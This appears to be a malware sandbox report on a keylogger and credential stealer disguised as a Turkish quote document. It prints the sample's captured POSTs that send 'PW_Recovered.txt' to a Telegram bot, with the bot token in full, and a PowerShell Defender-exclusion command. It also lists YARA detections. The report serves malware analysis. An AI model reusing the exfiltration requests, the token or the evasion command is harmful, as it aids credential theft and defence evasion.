2025-01-06 12:58:41 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 37 30 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 32 30 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27703,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168320,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	62583	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:41 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3bb5b704b3d1 Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:41 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 62 62 35 62 37 30 34 62 33 64 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3bb5b704b3d1Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:45 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:45 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 37 30 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27707,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168325,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	62585	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:45 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dde22ff969cdc2 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:45 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 65 32 32 66 66 39 36 39 63 64 63 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dde22ff969cdc2Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:46 UTC	370	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:46 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 34 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:46 UTC	111	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 33 34 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 33 34 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 34","parameters":{"retry_after":34}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	62790	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:01:03 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------9037e9d1554691d Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 13:01:03 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 39 30 33 37 65 39 64 31 35 35 34 36 39 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------9037e9d1554691dContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 13:01:03 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 13:01:03 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 13:01:03 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 37 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 34 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27717,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168463,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	62791	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2025-01-06 13:01:04 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2e2843e294c3 Host: api.telegram.org Content-Length: 584
2025-01-06 13:01:04 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 65 32 38 34 33 65 32 39 34 63 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd2e2843e294c3Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 13:01:04 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 13:01:04 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 13:01:04 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 37 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 34 36 34 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27719,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168464,"document"

Target ID:	0
Start time:	07:56:54
Start date:	06/01/2025
Path:	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"
Imagebase:	0x6c0000
File size:	822'272 bytes
MD5 hash:	9807FBE0E0A41BD3C0AA773880FA1CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2146266318.0000000005660000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2143245701.0000000003BE7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2143245701.0000000003D52000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:56:55
Start date:	06/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"
Imagebase:	0x3e0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:56:55
Start date:	06/01/2025
Path:	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe"
Imagebase:	0x7f0000
File size:	822'272 bytes
MD5 hash:	9807FBE0E0A41BD3C0AA773880FA1CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.4574272447.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000002.4575972771.0000000002C60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.4575972771.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	07:56:55
Start date:	06/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exePID: 6444, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	63
Total number of Limit Nodes:	9

Executed Functions

Function 029A7018 Relevance: 2.7, Strings: 2, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@C, xrefs: 029A70D4
@C, xrefs: 029A714C

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID: @C$@C
API String ID: 0-1525002896
Opcode ID: aec6977c3b79b545714d7fd13cf91052d5356e32fd46063816de0d4645043b74
Instruction ID: 59a9bce6148aa195afddb772c1faa33a3f8cb6f2df99333dad977f3ad8d825de
Opcode Fuzzy Hash: aec6977c3b79b545714d7fd13cf91052d5356e32fd46063816de0d4645043b74
Instruction Fuzzy Hash: A3819F74E00608DFDB14DFA9D995ADEBBF2BF88300F20852AE419AB359DB345946CF50

Function 029A4210 Relevance: 2.7, Strings: 2, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@C, xrefs: 029A70D4
@C, xrefs: 029A714C

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID: @C$@C
API String ID: 0-1525002896
Opcode ID: 469dfdc5bb8dd05ad56711b8a547d7145ea27459dcd85d0179fe7126a1509fe5
Instruction ID: b9339a89b9f77c88a013ddbe8d080aa4025d617e20b1bd83b46f02acd123ea19
Opcode Fuzzy Hash: 469dfdc5bb8dd05ad56711b8a547d7145ea27459dcd85d0179fe7126a1509fe5
Instruction Fuzzy Hash: C5819074E00608DFDB14DFA9D995ADEBBF2BF88300F20852AE519AB355DB306945CF40

Function 029AD388 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 029AD416
GetCurrentThread.KERNEL32 ref: 029AD453
GetCurrentProcess.KERNEL32 ref: 029AD490
GetCurrentThreadId.KERNEL32 ref: 029AD4E9

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: bae49a18e8cead55eb8161bcf5504d0ef42dd65d65a508cd71a185ee8386f210
Instruction ID: 216b93f0653fb1d1ae0aa3c0db06f5d4a70c7f36c4bb20e84403b1355355886a
Opcode Fuzzy Hash: bae49a18e8cead55eb8161bcf5504d0ef42dd65d65a508cd71a185ee8386f210
Instruction Fuzzy Hash: 235178B09003498FEB58CFA9D548B9EBBF1EF88314F208459E409A7390DB74A944CB61

Function 029AD398 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 029AD416
GetCurrentThread.KERNEL32 ref: 029AD453
GetCurrentProcess.KERNEL32 ref: 029AD490
GetCurrentThreadId.KERNEL32 ref: 029AD4E9

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 294ea44a19de12d6dc93e76d80ef478257e97787b0a312d38e36ece7905e8162
Instruction ID: dd58c07691841657029db20d890d53b68c1c37b27602fb0b312df8045e681c17
Opcode Fuzzy Hash: 294ea44a19de12d6dc93e76d80ef478257e97787b0a312d38e36ece7905e8162
Instruction Fuzzy Hash: D75167B09007098FDB58DFAAD548B9EBBF1BF88314F208459E019A73A0DB75A944CB65

Function 029AAFD8 Relevance: 1.7, APIs: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 029AB23E

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6c3155b8c70d2e01b478d23423a6e2a9b5d03f2a4bb3f9c2f699f0fe8b5e826d
Instruction ID: 270060009f219bbdb28f54aa78057e9a3dcdb77aa7ca5936600b3402d70b6d41
Opcode Fuzzy Hash: 6c3155b8c70d2e01b478d23423a6e2a9b5d03f2a4bb3f9c2f699f0fe8b5e826d
Instruction Fuzzy Hash: DA813370A00B058FD724DF69D46579ABBF5FF88308F008A2DD49AD7A44DB75E846CB90

Function 029A44D4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 029A59C9

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 235c535bbe42dd7b29fb6d98d550379c97ed3fb1771e46280c514ed5b17e21c7
Instruction ID: d7a7313100b688f55cc8af6deba6301b9d33b53873bddd9e86273ae6f447220e
Opcode Fuzzy Hash: 235c535bbe42dd7b29fb6d98d550379c97ed3fb1771e46280c514ed5b17e21c7
Instruction Fuzzy Hash: CB41E4B0D0071DCBEB24CFAAC94479EBBF5BF89704F60806AD409AB251DB756945CF90

Function 029A590C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 029A59C9

Memory Dump Source

Source File: 00000000.00000002.2141619234.00000000029A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29a0000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9feb34a97ed31a3f0c9189961743faae8af3db0bf5829a688b984ed1436661df
Instruction ID: 31d108f5a6ddda141f4fe249b58eaae8b2b5603c2d72675ab3d85944d1f26c9e
Opcode Fuzzy Hash: 9feb34a97ed31a3f0c9189961743faae8af3db0bf5829a688b984ed1436661df
Instruction Fuzzy Hash: E34102B0D00719CBEB24CFA9C985BCEBBF5BF88704F60805AD409AB251DB756946CF90

Function 050BC75C Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,050BDEC5,?,?), ref: 050BDF77

Memory Dump Source

Source File: 00000000.00000002.2145722926.00000000050B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false

Joe Sandbox IDA Plugin

